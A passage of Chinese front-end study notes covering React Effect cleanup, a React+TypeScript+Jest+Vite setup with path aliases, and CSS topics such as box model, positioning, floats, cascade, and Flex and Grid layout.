
```jsx
disconnect('travel')
```

这样资源被安全释放，不会泄漏。

React 在开发环境下（StrictMode 开启）会执行一些“额外动作”，用来帮助开发者发现副作用 bug。

这些行为 **只发生在开发模式**，不会发生在生产环境。

**StrictMode 下 Effect 的特殊行为**：

1. **首次挂载 → React 会模拟“挂载 → 卸载 → 再挂载”**
   * 目的是检查 Effect 是否正确清理
   * 如果 cleanup 不写，Bug 会直接暴露
2. **依赖变化 → Effect 会重新执行（正常逻辑）**
3. **开发模式保存文件（HMR） → Effect 会重复执行**
   * React 会卸载旧的 hook，再挂载新的 hook
   * 也是为了保证副作用没有残留

**重点**：**生产环境里 Effect 执行一次，不会双执行。**

这是很多人误解的核心。

```jsx
每次渲染都会生成 Effect 描述
         │
         ├─ 依赖项没变  → effect 跳过
         │
依赖变化 → 清理旧 effect → 执行新 effect
         │
组件卸载 → 清理最后一次 effect
```

---

---
url: /react/td0cd1on/index.md
---
# React + TS + Jest 环境搭建
在 React + TypeScript + Jest + Vite 的开发环境中，如果使用路径别名（比如 `@/`），需要在**每一个**会处理代码的工具中都配置路径映射。

具体来说：

1. **TypeScript 编译器** (tsconfig.json / tsconfig.app.json)
   * 配置 baseUrl 和 paths
   * IDE 和类型检查需要这个
2. **Vite** (`vite.config.ts`)
   * 配置 `resolve.alias`
   * 打包和开发服务器需要这个
3. **Jest** (jest.config.ts)
   * 配置 moduleNameMapper（用于运行时路径解析）
   * ts-jest 的 tsconfig 中配置 baseUrl 和 paths（用于类型检查）
   * 测试运行需要这个

它们互相不会继承配置，所以都需要单独配置。这样做的好处是每个工具可以有不同的策略，但代价就是配置重复。

```bash
npm create vite@latest my-app
```

```bash
cd my-app
pnpm install
```

```bash
pnpm install -D jest ts-jest @types/jest jest-environment-jsdom
```

```bash
pnpm install -D @testing-library/react @testing-library/jest-dom @testing-library/user-event
```

```bash
pnpm i --save-dev ts-node
```

**关键**：`@types/jest` 不可少，否则 TypeScript 不知道 `test`, `expect` 等全局符号。

```bash
npm init jest@latest
```

或者

```bash
npx ts-jest config:init
```

配置 Jest `jest.config.js`：

```js
export default {
  preset: "ts-jest",
  testEnvironment: "jsdom",

  transform: {
    "^.+\\.(ts|tsx)$": [
      "ts-jest",
      {
        tsconfig: {
          jsx: "react-jsx",
          esModuleInterop: true,
          baseUrl: ".",
          paths: {
            "@/*": ["src/*"],
          },
        },
      },
    ],
  },

  moduleNameMapper: {
    "^@/(.*)$": "<rootDir>/src/$1"
  },

  setupFilesAfterEnv: ["<rootDir>/jest.setup.ts"],

  moduleFileExtensions: ["ts", "tsx", "js", "jsx"]
};
```

`jest.setup.ts`：

```js
import "@testing-library/jest-dom";
```

在 `tsconfig.json` 或者 `tsconfig.app.json` （首选）配置：：

```json
"compilerOptions": {
    // 关键：添加测试环境的类型声明
    "types": ["vite/client", "jest", "@testing-library/jest-dom"]
    "baseUrl": ".",
    "paths": {
    "@/*": ["src/*"]
}
}
```

说明：

* `types` 告诉 TS 额外引入全局类型：Vite、Jest、RTL
* 避免 `test is not defined` 或 `expect is not defined` 报错

[tsconfig.app.json 和 tsconfig.json](/ts/8b8r9rub/)

**测试**

`src/components/Hello.tsx`

```tsx
export default function Hello() {
  return <h1>Hello Jest TS</h1>;
}
```

`src/components/Hello.test.tsx`

```tsx
import { render, screen } from "@testing-library/react";
import Hello from "./Hello";

test("renders hello", () => {
  render(<Hello />);
  expect(screen.getByText("Hello Jest TS")).toBeInTheDocument();
});
```

```tsx
{
  "scripts": {
    "test": "jest",
    "test:watch": "jest --watchAll"
  }
}
```

**注意**：如果测试文件写在 src 外或者根目录，需要将 `tsconfig.app.json` 中 `include` 加上测试文件所在的文件件

## vite 路径简写

```ts
import path from 'path'

resolve: {
    alias: {
        '@': path.resolve(__dirname, './src'),
    },
}
```

---

---
url: /skill/index.md
---
# 技能提升
技能提升是指通过学习和实践，不断提升个人在某一领域的专业知识和技能，从而提高工作效率和竞争力的过程。无论是技术技能、软技能还是管理技能，持续的学习和发展都是职业成长的重要组成部分。

## 开发思路

做项目需要有“**把问题切小 + 让大脑有抓手**”的流程

### 拆分需求

不管做啥功能，先要进行分析：

**页面上有什么状态（State）？**

例：`isOpen`、`activeTab`、`formValues`、`list`、`loading`、`error`

**这些状态怎么变（Actions）？**

例：点击按钮、滚动、接口返回、定时器、路由变化

**状态变了怎么映射到视图（Render / View）？**

例：`isOpen=true` → 加 class / 渲染弹窗 / 禁止滚动

**副作用有哪些（Effects）？**

例：请求接口、localStorage、埋点、订阅事件、setInterval

**迷茫的本质**：脑子同时在想“状态 + 事件 + DOM + CSS + 接口”，同时开 5 个线程当然会卡。

### JS 结构

最好的方法就是按“**生命周期**”写，不要按“想到啥写啥”

最稳的结构就是：**init → bind → render → destroy**（任何组件/模块都适用）

* `init()`：准备数据，读配置，首屏渲染，开启订阅
* `bindEvents()`：只做事件绑定（别写业务）
* `setState(partial)`：唯一改状态的入口
* `render()`：只根据 state 更新 DOM（别写请求）
* `destroy()`：解绑事件、取消订阅、清 timer

***

* **初始化**：`init()`
* **视图数据**：`state`（集中放）
* **私有事件**：模块内部 DOM 事件（点击/输入）→ `bindEvents()`
* **公共事件**：跨模块通信（event bus / custom event）→ `subscribe()` / `publish()`
* **渲染**：`render()`
* **销毁**：`destroy()`（很多 bug 就是没 destroy）

---

---
url: /skill/2xg0mc4v/index.md
---
# 基础回顾
## 关于 `box-sizing: border-box` 的作用

在开发页面时，常见会加上如下的 CSS 重置代码：

```css
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}
```

其中：

* `margin: 0`、`padding: 0`：用于清除浏览器默认样式，比较好理解
* `box-sizing: border-box`：主要是为了 **简化布局计算**，避免很多“反直觉”的问题

默认情况（`box-sizing: content-box`），CSS 默认使用的是 `content-box`，`width` / `height` **只作用于内容区域（content）**，实际占用空间为：`content + padding + border + margin`

也就是说，你设置了一个 `width: 100px` 的元素，如果再加上 `padding` 和 `border`，元素在页面上实际占用的宽度会 **大于 100px**，这在布局时非常容易踩坑。

使用 `box-sizing: border-box` 之后，当设置为 `border-box`，`width` / `height` **包含 content + padding + border**，元素在页面中占用的尺寸更加直观、可控，布局时不需要反复计算 padding 和 border 对整体尺寸的影响，而 `width = content + padding + border`

## alpha 通道

`rgba(r, g, b, a)` 里的 `a` 叫 **alpha 通道**，表示 **透明度**：

取值范围：`0 ~ 1`

* `0` = 完全透明
* `1` = 完全不透明
* 例如：`rgba(0,0,0,0.5)` = 半透明黑色

特点：**只影响这条颜色本身**（比如背景色、文字色、边框色），不影响元素里其它内容。

alpha 和 `opacity` 的影响范围不同

**alpha（rgba / hsla / #RRGGBBAA）**

* 只让“某个颜色”变透明
* 不影响子元素、文字、图片等其它内容

**opacity**

* 作用于整个元素（含子元素）
* 会让元素内部的所有内容一起变透明（文字也会跟着淡）

**叠加行为**（容易踩坑），父元素 `opacity: 0.5`，子元素就算 `opacity: 1` 也救不回来，它会一起半透明

**新式写法**：`rgb(0 0 0 / 50%)` 这是 CSS Color Module Level 4 的写法（更现代）：

```css
color: rgb(0 0 0 / 50%);
background: rgb(255 0 0 / 0.2);
```

它等价于：

```css
color: rgba(0,0,0,0.5);
background: rgba(255,0,0,0.2);
```

16 进制一般是：`#RRGGBB`（不带透明度），`#RGB`（缩写）

带 alpha 的 16 进制是：`#RRGGBBAA`（最后两位 AA 是透明度），`#RGBA`（缩写）

AA 是 00~FF 的 16 进制：

* `00` = 0%（全透明）
* `FF` = 100%（不透明）
* `80` ≈ 50%（常用半透明）

```css
/* 半透明黑色 */
color: #00000080;

/* 约 20% 透明度的红 */
background: #ff000033;
```

常见速记（大概值）：

* 100% → `FF`
* 75%  → `BF`（约 191/255）
* 50%  → `80`（128/255）
* 25%  → `40`（64/255）
* 20%  → `33`（51/255）
* 10%  → `1A`（26/255）

## 尺寸百分比

百分比（`%`）是一种 **相对单位**，它一定是 **相对于某个参考系** 计算的

**普通元素（非定位）**：百分比的参考系：**父元素的内容区域（content box）**

**绝对 / 固定定位元素**：

* 百分比的参考系：**最近的一个定位父元素（`position` ≠ `static`）的 padding 区域**（**padding + content**（也就是 **padding box**），不是只有 padding 那一圈）
* 如果一直找不到定位父元素，则参考 **初始包含块（通常是 viewport）**

**常见 CSS 属性中百分比的计算方式**

| CSS 属性  | 百分比相对于      | 备注                        |
| --------- | ----------------- | --------------------------- |
| `width`   | 参考系的 **宽度** | 最常见、最直观              |
| `height`  | 参考系的 **高度** | ⚠️ 前提是参考系有“明确高度”  |
| `padding` | 参考系的 **宽度** | 包括 `padding-top / bottom` |
| `border`  | ❌ 不支持百分比    | 只能用固定单位              |
| `margin`  | 参考系的 **宽度** | 包括上下方向                |

CSS 规范规定所有方向的 `padding` 百分比 **统一相对于参考系的宽度**

如果父元素没有 **明确高度**（不是 `auto`），那么 `height: 100%` → **无效**，因为“参考系高度”本身不存在

可以用 JS 动态设置 padding/margin，但能不用就别用，JS 动态改样式常见隐患是：容易触发 **reflow/layout**（尤其频繁更新时），逻辑分散：样式跑到 JS 里，后期维护更痛，响应式/主题切换时，CSS 本来更顺手

更推荐 **CSS 变量 + JS 改变量**，JS 只负责改值，布局规则仍在 CSS 里，维护舒服，或者用 class 切换（最常见）

**改动 css 变量是否会触发 reflow/layout 取决于改的这个 CSS 变量“最终影响了什么属性”**

* 如果变量用于 **会影响布局的属性**（如 `width/height/padding/margin/top/left/font-size/gap` 等），改它 **会触发 reflow/layout**。
* 如果变量只用于 **不影响布局的属性**（如 `color/background-color/border-color/box-shadow/opacity/filter` 等），通常 **不会 reflow**（最多 repaint/composite）。

## 浏览器渲染

**重排（layout / reflow）一定会引发重绘（paint），但重绘不一定会触发重排**。

**现代流程一般是三段**：Layout → Paint → Composite

* **Layout（重排）**：算几何信息（位置、大小、换行、盒模型等）
* **Paint（重绘）**：把像素画出来（颜色、背景、边框、阴影、文字等）
* **Composite（合成）**：把各个图层在 GPU 上拼起来（比如 transform、opacity 动画）

所以有时会出现：

* **只合成**：不重排、不重绘（最便宜）
* **重绘但不重排**：中等成本
* **重排 + 重绘**：最贵

**“重排必定重绘”通常成立，但有极少数边界情况**，一般来说布局变了，画面也要重新画，所以我们工程实践里就当它成立就行。
（真实实现里会有一些优化/裁剪，但不影响你平时的判断。）

快速对照：改哪些属性会发生什么？

**只合成（最好）**

* `transform`
* `opacity`（通常不触发 layout/paint）

**重绘，不重排**

* `color`
* `background-color`
* `box-shadow`（通常会 paint，且可能比较贵）
* `outline`（不改几何，只改外观）

**重排（通常还会重绘）**

* `width/height`
* `padding/margin/border-width`
* `font-size/line-height`
* `display/position/top/left`（改了几何/排版）

现代框架（React/Vue/Angular/Svelte 等）出现的目的，可以总结成几条核心：

* **用“声明式”替代“命令式”DOM 操作**，你描述“界面应该长什么样”，框架负责把状态映射成 UI，减少手动 `create/append/update` 的易错代码。
* **用“状态驱动 UI”建立可靠的工程模型**，把 UI 当成状态的函数：`UI = f(state)`，让复杂交互、异步数据、组件协作更可控、更好维护。
* **组件化与复用，支撑大型项目协作**，把 UI 拆成可组合的组件，统一规范（props/事件/生命周期），降低团队协作成本和重复劳动。
* **把更新做得更“聪明”**（不是消灭重排，而是减少无谓开销），通过 diff/patch、批量更新、调度、缓存等机制：
  * 尽量 **少改真实 DOM**
  * 尽量 **合并多次更新**
  * 尽量 **把更新放在合适时机**，从而让性能“默认不差”，并更容易做进一步优化。
* **提供一整套生态与最佳实践**，路由、状态管理、构建工具、类型支持、SSR/SSG、测试等，形成“可复制的工程方案”。

一句话：**现代框架的核心是让 UI 开发在复杂场景下依然可维护、可协作、可演进，同时把性能问题尽量变成“默认不糟 + 有路可优化”。**

## 最大/小宽度

* 最大宽度：`max-width`
* 最小宽度：`min-width`
* 最大高度：`max-height`
* 最小高度：`min-height`

这些属性用于 **限制元素尺寸的变化范围**，防止在自适应或内容变化时变得 **过大或过小**。

当元素的尺寸是：

* 百分比
* 自适应
* 由内容撑开

就可能在不同屏幕尺寸或不同内容下出现不可控的情况，`min-* / max-*` 的作用就是：**在“自适应”的前提下，给尺寸加一道安全边界**

在 PC 端开发中，设计稿通常是 **固定宽度**（如 1200px、1226px、1440px 等），为了保证布局不被压坏，常见做法是给整个页面（或最外层容器）设置一个最小宽度：

```css
html {
  min-width: 1226px;
}
```

作用效果

* 当浏览器窗口 **≥ 1226px**：页面正常展示
* 当浏览器窗口 **< 1226px**：页面不再继续压缩，浏览器出现 **横向滚动条**

这是 PC 端非常常见、也非常合理的做法。

如果图片尺寸大于父容器，而又没有限制，图片可能会撑破布局，尤其在响应式或富文本场景中很常见，因此通常会给所有图片设置最大宽度：

```css
img {
  max-width: 100%;
}
```

这样做的好处是图片 **最多占满父容器**，不会超出容器宽度，同时又不会强制放大小图（比 `width: 100%` 更安全）

`min-width` > `width` > `max-width` 浏览器会在三者之间取一个 **最终合法值**

`max-width` 和百分比搭配非常常见，`min-height` 常用于：

* 页面最小高度
* 卡片、模块对齐

`max-height` 常用于：

* 折叠面板
* 内容展开 / 收起（配合 `overflow`）

## 表单容器

`form` 是 HTML 语义化中 **专门用于表单提交** 的元素，自带一些默认行为：

点击 `<button type="submit">` 会触发表单提交

在输入框中按 **Enter（回车）** 会触发表单提交

会触发 `submit` 事件

原生支持：表单校验（`required`、`pattern` 等）

```html
<form>
  <input type="text" />
  <button type="submit">提交</button>
</form>
```

`div` 本身只是一个 **普通容器**，没有任何表单语义：

* 不会自动触发提交行为
* 在输入框中按回车 **不会** 有默认提交
* 所有交互行为都需要 **JS 手动控制**

```html
<div>
  <input type="text" />
  <button>提交</button>
</div>
```

在现代前端开发（React / Vue 等）中：表单提交通常由 **JavaScript 控制**，很少直接依赖浏览器的默认提交行为，常见做法是：拦截 `submit` 事件，使用 AJAX / Fetch / Axios 提交数据，阻止页面刷新（`preventDefault`）

因此：`form` 和 `div` 在功能上的差距被 JS 缩小了，但 `form` 仍然在语义、可访问性（a11y）和回车提交体验上更合理

***

在 `form` 表单中，`button` 的 `type` 非常关键：

`type="submit"`（默认值），点击会触发表单提交

`type="button"` 点击 **不会** 触发表单提交，常用于纯交互按钮（弹窗、校验、切换状态等）

如果不写 `type`，`button` **默认就是 `submit`**。

`input` 提供了大量内置属性，用于提升交互体验和基础校验：

* `placeholder`：占位提示文本
* `maxlength`：限制最大输入长度
* `disabled`：禁用输入
* `readonly`：只读（可选中但不可修改）
* `required`：必填项（配合 `form` 使用）

通过 `multiple` 属性可以让 `select` 支持多选，`option` 可以通过 `selected` 设置默认选中项

HTML 中的布尔属性特点：`selected="selected"` 和 `selected` **效果完全一致**，实际开发中通常直接写 `selected`，更简洁

以下都是 **布尔属性**：

* `selected`
* `checked`
* `disabled`
* `readonly`
* `multiple`
* `required`

特点：

* **存在即为 true**
* 不存在即为 false
* 不需要写两次属性名

## 定位与背景

CSS 定位（position）定位类型总览

| 值         | 是否脱离文档流 | 参考系           | 常见用途                |
| ---------- | -------------- | ---------------- | ----------------------- |
| `static`   | 否（默认）     | 无               | 普通布局                |
| `relative` | 否             | 自身原位置       | 微调位置 / 作为定位参考 |
| `absolute` | 是             | 最近定位父元素   | 弹窗、角标              |
| `fixed`    | 是             | 视口（viewport） | 悬浮按钮、吸顶          |
| `sticky`   | 半脱离         | 最近滚动容器     | 吸顶效果                |

**相对定位（relative）**：不脱离文档流，原位置仍然占着，最常见用途：给子元素的 absolute 提供参考系，或者微调自己的位置

**绝对定位（absolute）**：脱离文档流，参考最近一个 `position ≠ static` 的祖先，如果找不到 → 参考初始包含块（通常是 viewport），**绝对定位的元素会自动变成块级元素**，可以直接设置 `width / height`，不再受行内元素限制

**固定定位（fixed）**：永远相对于 **视口**，不随页面滚动，常见于：悬浮按钮、客服入口、返回顶部

**定位元素居中方式**：

已知宽高（经典）

```css
.box {
    position: absolute;
    top: 50%;
    left: 50%;
    /* 元素宽度的一半  */
    margin-left: -100px;
    /* 元素高度的一半 */
    margin-top: -50px;
}
```

不定宽高（最常用）

现代最推荐，不依赖尺寸

```css
.box {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}
```

**z-index（层级）**：只对 **定位元素**（position ≠ static）生效，数值越大，层级越高

常用 background 属性

```css
.box {
  background-color: #f5f5f5;
  background-image: url(bg.png);
  background-repeat: no-repeat;
  background-position: center;
  background-size: cover;
}
```

background-position

```css
background-position: left top;
background-position: center center;
background-position: 10px 20px;
background-position: 50% 50%;
```

background-size（重点）

| 值          | 说明                 |
| ----------- | -------------------- |
| `auto`      | 原始大小             |
| `cover`     | 覆盖容器（可能裁剪） |
| `contain`   | 完整显示（可能留白） |
| `100% 100%` | 强行拉伸             |

background 简写（顺序无严格要求）

```
background: #000 url(bg.png) no-repeat center / cover;
```

CSS 精灵图（Sprite）：把多个小图合并成一张大图，用 background-position 显示不同区域

目的：减少 HTTP 请求，提升加载性能

```css
.icon {
  width: 32px;
  height: 32px;
  background-image: url(sprite.png);
  background-repeat: no-repeat;
  background-position: -64px -32px;
}
```

元素尺寸 = 单个图标尺寸，`background-position` 用负值

通常配合：hover 切换位置，不同 class 显示不同图标

***

`text-align` 和 `vertical-align` 有什么关系？

**基本没直接关系**，它们管的是两件不同的事：

**`text-align`**：控制 **行内内容在一行里的水平对齐方式**（横向）

* `left / right / center / justify`
* 作用对象：块级容器里的 **行内内容**（文字、inline 元素、inline-block）

**`vertical-align`**：控制 **行内级元素在同一行里的垂直对齐方式**（纵向）

* `baseline / middle / top / bottom / text-top / text-bottom / sub / super / <length/%>`
* 作用对象：**inline / inline-block / table-cell**（以及某些场景下的替换元素如 img）

`text-align:center` **不能** 让块级元素自身居中（块级靠 `margin: 0 auto` / flex）。

`vertical-align` 用于让图片/图标和文字在同一行“垂直对齐”

常用于：图标 + 文本按钮、行内 svg/img 对齐，消除 img 底部那条“神秘空隙”

原因：`img` 默认是 inline-level，并且默认 `vertical-align: baseline`，会为文字下行留出下降部件空间，于是底部看起来有缝。

解决：

```css
img { vertical-align: middle; } /* 或 bottom / top */
```

或

```css
img { display: block; } /* 直接不参与行内排版 */
```

`vertical-align` 对普通块级布局（div 之间）基本没用；块级垂直居中通常用 flex/grid。

***

**基线** 可以理解为：一行文字“坐着的那条线”，大部分字形都“落在基线之上”，某些字符会有“下伸部分”（比如英文的 `g / p / y`），会伸到基线下方（叫 descender）。

在同一行里排版时，浏览器需要一个“对齐基准”：文字与文字对齐，文字与图片/图标（inline/inline-block）对齐，不同字体大小混排时仍然看起来“站在同一条线上”

所以默认 `vertical-align: baseline` 时：

图片/inline-block 的“底部”会尽量和文字基线对齐，于是就经常出现“图片底部留空隙”的现象（因为要给 descender 留空间）

## 浮动

`float` 是 CSS 中的布局属性，用于 **让元素脱离标准文档流**，向左或向右移动，直到其边缘碰到包含块边缘或另一个浮动元素的边缘。

基本属性值

| 属性值  | 作用                               |
| :------ | :--------------------------------- |
| `none`  | 默认值，元素不浮动，遵循标准文档流 |
| `left`  | 元素向左浮动                       |
| `right` | 元素向右浮动                       |

**脱离标准文档流，但不脱离文本流**

浮动元素会脱离标准文档流，**父元素默认不会包裹浮动子元素**（父元素高度塌陷）。

浮动元素周围的 **行内元素（如文本、span）会环绕其排列**，这是浮动的核心应用场景（如文字环绕图片）。

```css
/* 示例：文字环绕图片 */
.img-box {
  float: left;
  width: 100px;
  height: 100px;
  margin-right: 10px;
}
```

```html
<div class="container">
  <img src="pic.jpg" class="img-box">
  <p>这里是环绕图片的文本内容，会沿着图片右侧排列...</p>
</div>
```

**浮动元素的默认显示模式变化**

行内元素（如 `span`、`a`）设置浮动后，**会自动变成块级元素**，可以直接设置 `width`、`height`，无需额外加 `display: block`。

块级元素（如 `div`）设置浮动后，**宽度默认由内容撑开**（标准文档流中块级元素宽度默认 100%）。

**多个浮动元素的排列规则**

同方向浮动的元素，会 **从左到右 / 从上到下依次排列**，不会重叠（除非宽度不足）。

不同方向浮动的元素，会分别靠向包含块的左右两侧。

浮动元素的排列 **受包含块宽度限制**，宽度不足时会自动换行。

浮动元素脱离文档流会导致父元素高度为 0，需要通过以下方法清除浮动影响：

* 在父元素内末尾添加一个空的块级元素，设置 `clear: both`。
* 给父元素添加 `overflow: hidden` 或 `overflow: auto`，触发 **BFC（块级格式化上下文）**，使父元素包裹浮动子元素，但可能隐藏元素溢出部分（如下拉菜单）。
* 通过父元素的 `::after` 伪元素实现清除浮动，是行业最佳实践，语义化、无额外标签，适配所有场景。

```css
.clearfix::after {
  content: "";
  display: block; /* 伪元素默认是行内，需转块级 */
  clear: both;
  height: 0; /* 兼容旧浏览器 */
  visibility: hidden; /* 兼容旧浏览器 */
}
.clearfix {
  *zoom: 1; /* 兼容IE6/7 */
}
```

```html
<div class="parent clearfix">
  <div class="child" style="float: left;"></div>
</div>
```

`clear` 用于指定元素 **不允许** 有浮动元素的一侧，只对 **块级元素** 生效。

| 属性值  | 作用                       |
| :------ | :------------------------- |
| `none`  | 默认值，允许两侧有浮动元素 |
| `left`  | 左侧不允许有浮动元素       |
| `right` | 右侧不允许有浮动元素       |
| `both`  | 左右两侧都不允许有浮动元素 |

浮动的经典应用场景

**文字环绕图片**：最原生的用途，实现图文混排。

**多列布局**：早期 CSS 没有 Flex 和 Grid 时，浮动是实现多列布局的核心方案（如两栏 / 三栏布局）

现代布局优先使用 **Flex 布局** 或 **Grid 布局**，两者更灵活、强大，无需处理清除浮动问题：

## 属性值的计算

**页面最终展示的效果，取决于 CSS 属性的“计算结果”，而不是你在代码里写了什么**。

CSS 代码 **不会直接成为最终样式**，它只是参与了一个 **属性值计算过程**

浏览器会保证：**每一个 CSS 属性，最终一定都有一个值**

从「无属性值」到「每个属性都有值」，CSS 属性的计算过程，可以概括为 4 个步骤：

```markdown
无属性值
  ↓
1. 确定声明值
  ↓
2. 解决层叠冲突
  ↓
3. 使用继承
  ↓
4. 使用默认值
  ↓
每个属性都有值（最终计算结果）
```

**确定声明值（Declared Value）**

**声明值**：指在样式表中，能直接匹配到该元素、且没有冲突的 CSS 声明。

来源包括：作者样式表（自己写的 CSS），浏览器默认样式表（UA stylesheet）

**层叠冲突（Cascade）**

当 **同一个属性** 有多个声明时，就会发生 **层叠冲突**。

浏览器会按照以下顺序比较，层叠规则（从高到低）：

1. \*\*重要性（importance） \*\* `!important` > 普通声明
2. \*\*特殊性（specificity） \*\* 行内 > id > class > 标签
3. \*\*源次序（source order） \*\* 后写的覆盖先写的

**注意**：层叠冲突 **只发生在“同一个属性”上**

**使用继承（Inheritance）**

如果某个属性 **仍然没有值**，并且它是 **可继承属性**，浏览器会从父元素继承该属性的值，**可以通过显式指定继承：`color: inherit;`**

**使用默认值（Initial / UA Default）**

如果：没有声明值，不能继承，或继承链断了

那么浏览器会使用该属性的 **默认值（initial value）**。

所有属性最终一定有值，这是 CSS 的底层保证：**不存在“没值的属性”**，哪怕你没写，浏览器也会：继承或使用默认值

**代码 ≠ 最终结果**，真正显示的是 **计算后的像素值**，页面展示的永远是 **computed value / used value**

**`inherit` 的意义**：强制从父元素继承，即使该属性默认不可继承，常用于“打破默认行为”

## Flex 布局

Flex（Flexible Box）是一种 **一维布局模型**，用于在 **行或列方向** 上对元素进行灵活排列、对齐和分配空间。

设置了 `display: flex` 的元素将变成 Flex 容器，Flex 容器的 **直接子元素** 是 flex item，子元素的子元素 **不参与 flex 布局**

### 容器属性

#### flex-direction

主轴（main axis）由 `flex-direction` 决定，即元素排列的方向

> **`flex-direction` 确实决定了主轴方向（也就决定了交叉轴方向），等于把布局坐标系转了：`row / row-reverse / column / column-reverse` = 4 个方向**
>
> **`justify-content`** 控制 **主轴（main axis）** 上 *项目如何分布/对齐*
>
> **`align-items`** 控制 **交叉轴（cross axis）** 上 *每一行内项目如何对齐*（默认 `stretch`）
>
> **多行时**（`flex-wrap: wrap` 产生多行）
>
> * `align-items` 还是管“每一行里面怎么对齐”
> * 但“多行整体在交叉轴怎么排”要用 **`align-content`**

**flex-direction（主轴方向）**

```css
flex-direction: row | row-reverse | column | column-reverse;
```

#### flex-wrap

**flex-wrap（是否换行）**

```css
flex-wrap: nowrap | wrap | wrap-reverse;
```

`nowrap`（默认）：不换行，可能挤压元素

`wrap`：换行

`wrap-reverse`：反向换行

**flex-flow（direction + wrap 简写）**

```css
flex-flow: row wrap;
```

#### justify-content

**justify-content（主轴对齐）**

```css
justify-content: flex-start | flex-end | center |  space-between | space-around | space-evenly;
```

#### align-items

**align-items（交叉轴对齐：单行）**

```css
align-items: stretch | flex-start | flex-end | center | baseline;
```

`stretch`（默认）：拉伸填满交叉轴（需未设高度）

`baseline`：按文本基线对齐

#### align-content

**align-content（交叉轴对齐：多行）**

**只有在** `flex-wrap: wrap` **且多行时才生效**

```css
align-content: flex-start | flex-end | center |  space-between | space-around | stretch;
```

* `align-items`：控制 **每一行内部**

* `align-content`：控制 **多行整体**

#### gap

**gap（项目间距）**

```css
gap: 20px;
row-gap: 10px;
column-gap: 20px;
```

flex / grid 通用，比 margin 更干净

### 项目属性

#### order

**order（显示顺序）**

```css
order: 0; /* 默认 */
```

数值越小，越靠前，可以是负数，**只改变视觉顺序，不改变 DOM 顺序**

#### flex-grow

**flex-grow（放大比例）**

```css
flex-grow: 1;
```

剩余空间分配比例，`0`：不放大（默认）

#### flex-shrink

**flex-shrink（缩小比例）**

```css
flex-shrink: 1;
```

空间不足时的压缩比例，`0`：不允许被压缩

#### flex-basis

**flex-basis（初始尺寸）**

```css
flex-basis: auto | 0 | 200px | 30%;
```

优先级：`max-width/min-width > flex-basis > width`

#### flex

**flex（grow + shrink + basis 简写）**

```css
flex: 1; /* = 1 1 0 */
flex: auto; /* = 1 1 auto */
flex: none; /* = 0 0 auto */
flex: 0 1 auto;
```

`flex: 1`：平分剩余空间，`flex: none`：固定大小

#### align-self

**align-self（单个项目对齐）**

```css
align-self: auto | flex-start | flex-end | center | stretch;
```

覆盖 `align-items`

justify-self 同理

**速记**：**direction 定轴；justify 管主轴；align-items 管交叉轴；多行再加 align-content**。

## Grid 布局

Grid 布局将容器划分成 "行" 和 "列"，可以看作是 **二维布局**，Grid 布局远比 Flex 布局强大。

采用网格布局的区域，称为 "容器"（container），容器内部采用网格定位的子元素，称为 "项目"（item），**项目只能是容器的顶层子元素，不包含项目的子元素，Grid 布局只对项目生效**。

容器里面的水平区域称为 "行"（row），垂直区域称为 "列"（column）。

### 容器属性

`display: grid;` 指定一个容器采用网格布局，默认情况下，容器元素都是块级元素，但也可以通过 `display: inline-grid;` 设成行内元素。

**注意**：设为网格布局以后，容器子元素（项目）的 `float`、`display: inline-block`、`display: table-cell`、`vertical-align` 和 `column-*` 等设置都将失效。

#### grid-template-rows/columns

容器指定了网格布局以后，接着就要划分行和列，`grid-template-rows` 属性定义每一行的行高，`grid-template-columns` 属性定义每一列的列宽。

```css
.container {
  display: grid;
  grid-template-columns: 100px 100px 100px;
  grid-template-rows: 100px 100px 100px;
}
```

上面代码指定了一个三行三列的网格，列宽和行高都是 100px，**除了使用绝对单位，也可以使用百分比**。

有时候，重复写同样的值非常麻烦，尤其网格很多时，这时，可以使用 `repeat()` 函数，简化重复的值：`grid-template-columns: repeat(3, 100px);`

`repeat() ` 接受两个参数，第一个参数是重复的次数，第二个参数是所要重复的值，也可以是某种模式 `grid-template-columns: repeat(2, 100px 20px 80px);`，定义了 6 列，第一列和第四列的宽度为 `100px`，第二列和第五列为 `20px`，第三列和第六列为 `80px`。

有时，单元格的大小是固定的，但是容器的大小不确定。如果希望每一行（或每一列）容纳尽可能多的单元格，这时可以使用 `auto-fill` 关键字表示自动填充：`grid-template-columns: repeat(auto-fill, 100px);`

除了 `auto-fill`，还有一个关键字 `auto-fit`，两者的行为基本是相同的。

::: details **详细**

```css
grid-template-columns: repeat(auto-fill|auto-fit, minmax(..., ...));
```

`repeat(auto-xxx, ...)`：让浏览器“能塞多少列就塞多少列”

`minmax(min, max)`：每一列的宽度在 min~max 之间可变（**max 如果是 `1fr` / `auto` 这类可伸缩值，就会参与分剩余空间**）

* **`auto-fill`**：就算最后那几列没有内容，也会把“列的坑位”保留下来（等于有“空列”存在），所以剩余空间会被这些空列也参与分配/占位，**看起来像“用空格子填满”**。
* **`auto-fit`**：会把“没有内容的列坑位”**折叠成 0**（当它们是空的时），于是剩余空间只能分给真正有内容的列，**看起来像“把已有单元格撑大”**。

**注意**：这里的“空列”指的是 **没有任何 grid item 占用的列轨道**，不是你肉眼看到的空白区域。

比如容器很宽，理论上可以塞下 6 列，而你只有 3 个 item，差别就来了：

* `auto-fill`：会生成 6 列（后 3 列空着）
* `auto-fit`：也会“尝试”生成 6 列，但发现后 3 列没人用 → 折叠掉 → 最终等效只剩 3 列

`grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));`，因为 `1fr` 会吃剩余空间：

* `auto-fill`：空列也在 → **剩余空间会被更多列分掉** → 每个真实卡片不一定能撑很大
* `auto-fit`：空列折叠掉 → **剩余空间只给有内容的列** → 卡片就更容易被撑大铺满

:::

**在 90% 的实际开发里，`auto-fill` 和 `auto-fit` 基本不用纠结。**，无脑用 `auto-fit`，**它更符合“视觉直觉”**，没东西就别留坑。

为了方便表示比例关系，网格布局提供了 `fr` 关键字（fraction 的缩写，意为 "片段"），如果两列的宽度分别为 `1fr` 和 `2fr`，就表示后者是前者的两倍。

`grid-template-columns: 1fr 1fr;` 表示两个相同宽度的列

`fr` 可以与绝对长度的单位结合使用，这时会非常方便。

`grid-template-columns: 150px 1fr 2fr;` 表示，第一列的宽度为 150 像素，第二列的宽度是第三列的一半。

`minmax()` 函数产生一个长度范围，表示长度就在这个范围之中。它接受两个参数，分别为最小值和最大值。

在 `grid-template-columns: 1fr 1fr minmax(100px, 1fr);` 中，`minmax(100px, 1fr)` 表示列宽不小于 `100px`，不大于 `1fr`。

